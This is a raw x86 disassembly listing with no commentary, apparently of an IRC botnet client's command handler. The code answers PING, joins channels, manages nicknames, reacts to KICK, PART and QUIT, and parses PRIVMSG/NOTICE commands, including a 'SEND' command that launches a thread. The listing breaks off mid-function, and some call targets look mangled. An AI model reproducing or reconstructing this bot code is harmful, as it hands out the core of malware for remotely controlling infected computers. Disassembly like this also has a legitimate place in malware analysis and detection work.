var_2B3C	= byte ptr -2B3Ch
var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AB0	= dword	ptr -2AB0h
var_2AA8	= byte ptr -2AA8h
var_2990	= byte ptr -2990h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= dword	ptr -28FCh
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_2778	= byte ptr -2778h
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= dword	ptr -2654h
var_2650	= byte ptr -2650h
var_25D0	= byte ptr -25D0h
var_24D0	= byte ptr -24D0h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= dword	ptr -23ACh
var_23A8	= byte ptr -23A8h
var_2328	= byte ptr -2328h
var_22A8	= byte ptr -22A8h
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= dword	ptr -2218h
var_2214	= byte ptr -2214h
var_2194	= byte ptr -2194h
var_2114	= byte ptr -2114h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= dword	ptr -2084h
var_2080	= byte ptr -2080h
var_2000	= byte ptr -2000h
var_1F80	= byte ptr -1F80h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= dword	ptr -1EF0h
var_1EEC	= byte ptr -1EECh
var_1DEC	= byte ptr -1DECh
var_1D6C	= dword	ptr -1D6Ch
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D50	= dword	ptr -1D50h
var_1D48	= byte ptr -1D48h
var_1D34	= byte ptr -1D34h
var_1C30	= byte ptr -1C30h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B9C	= dword	ptr -1B9Ch
var_1B94	= byte ptr -1B94h
var_1B80	= byte ptr -1B80h
var_1A7C	= byte ptr -1A7Ch
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= dword	ptr -19E8h
var_19E4	= byte ptr -19E4h
var_1964	= byte ptr -1964h
var_1924	= byte ptr -1924h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= dword	ptr -180Ch
var_1808	= byte ptr -1808h
var_17D0	= byte ptr -17D0h
var_17B4	= byte ptr -17B4h
var_177C	= byte ptr -177Ch
var_1778	= byte ptr -1778h
var_16F8	= byte ptr -16F8h
var_16B8	= byte ptr -16B8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= byte ptr -1614h
var_1594	= byte ptr -1594h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= dword	ptr -1508h
var_1504	= byte ptr -1504h
var_14F4	= byte ptr -14F4h
var_1474	= byte ptr -1474h
var_13F4	= dword	ptr -13F4h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= dword	ptr -13D8h
var_13D4	= byte ptr -13D4h
var_1354	= byte ptr -1354h
var_12D4	= byte ptr -12D4h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1230	= byte ptr -1230h
var_11B0	= byte ptr -11B0h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_108C	= byte ptr -108Ch
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= byte ptr -0FE8h
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= byte ptr -0F54h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EC0		= byte ptr -0EC0h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= dword	ptr -0E34h
var_E30		= byte ptr -0E30h
var_E10		= byte ptr -0E10h
var_E00		= byte ptr -0E00h
var_D80		= dword	ptr -0D80h
var_D7C		= byte ptr -0D7Ch
var_CFC		= byte ptr -0CFCh
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= byte ptr -0C54h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41B590
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401E94
		push	esi
		lea	eax, [ebp+var_4488]
		push	ebx
		push	eax
		call	sub_41B590
		dec	esi
		lea	eax, [ebp+var_4488]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	offset asc_42D128 ; " :"
		push	eax
		call	sub_41B900
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4488]
		push	esi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		mov	esi, offset asc_42D124 ; " "
		lea	eax, [ebp+var_4AF0]
		push	esi
		push	eax
		call	sub_41C0F4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh


loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401E94
		cmp	[ebp+var_8C], ebx
		jz	loc_401E94
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE


loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi


loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		push	offset asc_42D120 ; "!"
		push	eax
		call	sub_41C0F4
		add	esp, 20h


loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E1
		push	esi
		push	offset a005	; "005"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E1
		push	esi
		push	offset a302	; "302"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41B5F0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------


loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40B08E
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D


loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch


loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1


loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9C
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D0B4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		add	esp, 14h


loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E94
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E89:				; CODE XREF: sub_401ACD+612j
					; sub_401ACD+8D5j ...
		push	[ebp+arg_4]
		call	sub_409A2D


loc_401E91:				; CODE XREF: sub_401ACD+253Cj
					; sub_401ACD+2559j ...
		add	esp, 10h


loc_401E94:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1


loc_401E96:				; CODE XREF: sub_401ACD+2A62j
		pop	eax


loc_401E97:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A84j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401E9C:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FF2
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EC5:				; CODE XREF: sub_401ACD+44Aj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F12
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F12
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_1C]
		push	edi
		call	sub_41BEC0
		add	esp, 10h
		mov	edi, 80h


loc_401F12:				; CODE XREF: sub_401ACD+409j
					; sub_401ACD+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC5
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_401E94
		cmp	[ebp+arg_24], ebx
		jz	loc_401E94
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F5A
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41B5F0


loc_401F52:				; CODE XREF: sub_401ACD+1C36j
		add	esp, 0Ch
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F5A:				; CODE XREF: sub_401ACD+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F5F:				; CODE XREF: sub_401ACD+4B3j
		cmp	[edi], bl
		jz	short loc_401F76
		lea	eax, [ebp+var_E00]
		push	eax
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F87


loc_401F76:				; CODE XREF: sub_401ACD+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F5F
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F87:				; CODE XREF: sub_401ACD+4A7j
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	eax
		call	sub_41AFE0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_401E94
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_45EC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 24h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401FF2:				; CODE XREF: sub_401ACD+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402014
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40203B


loc_402014:				; CODE XREF: sub_401ACD+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402019:				; CODE XREF: sub_401ACD+56Cj
		cmp	[edi], bl
		jz	short loc_40202F
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402083


loc_40202F:				; CODE XREF: sub_401ACD+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402019


loc_40203B:				; CODE XREF: sub_401ACD+545j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020E4
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40206F
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40206F:				; CODE XREF: sub_401ACD+597j
		push	[ebp+var_80]
		push	offset unk_42D060


loc_402077:				; CODE XREF: sub_401ACD+28CDj
					; sub_401ACD+2C4Dj ...
		call	sub_415221


loc_40207C:				; CODE XREF: sub_401ACD+1BE2j
		pop	ecx


loc_40207D:				; CODE XREF: sub_401ACD+7B70j
		pop	ecx
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402083:				; CODE XREF: sub_401ACD+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D03C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41C070
		add	esp, 18h
		test	eax, eax
		jnz	loc_401E94
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4020E4:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41C070
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	offset dword_42D028
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409855
		cmp	dword_429088, ebx
		jz	loc_409855


loc_402138:				; CODE XREF: sub_401ACD+631j
					; sub_401ACD+643j
		push	[ebp+var_8C]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_40217C:				; CODE XREF: sub_401ACD+8ADj
					; sub_401ACD+8E9j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42D020
		mov	[ebp+arg_8], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402557
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40241E
		cmp	[ebp+var_A4], ebx
		jz	loc_4023F7
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B80]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_1B94]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_19FC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1B9C],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F0],	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		lea	eax, [ebp+var_1B80]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CFE4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B9C]
		push	ebx
		push	eax
		push	offset loc_4161BD
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_19F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	loc_4023E6


loc_4022A8:				; CODE XREF: sub_401ACD+7EFj
		cmp	[ebp+var_19EC],	ebx
		jnz	loc_4083BD
		push	32h
		nop
		call	near ptr 2660E9Fh
		jmp	short loc_4022A8
; ---------------------------------------------------------------------------


loc_4022BE:				; CODE XREF: sub_401ACD+67Bj
					; sub_401ACD+691j
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022D7
		mov	[ebp+var_4], 1


loc_4022D7:				; CODE XREF: sub_401ACD+801j
		cmp	[ebp+var_88], ebx
		jz	loc_401E94
		push	offset dword_42CFE0
		push	[ebp+var_88]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022FE
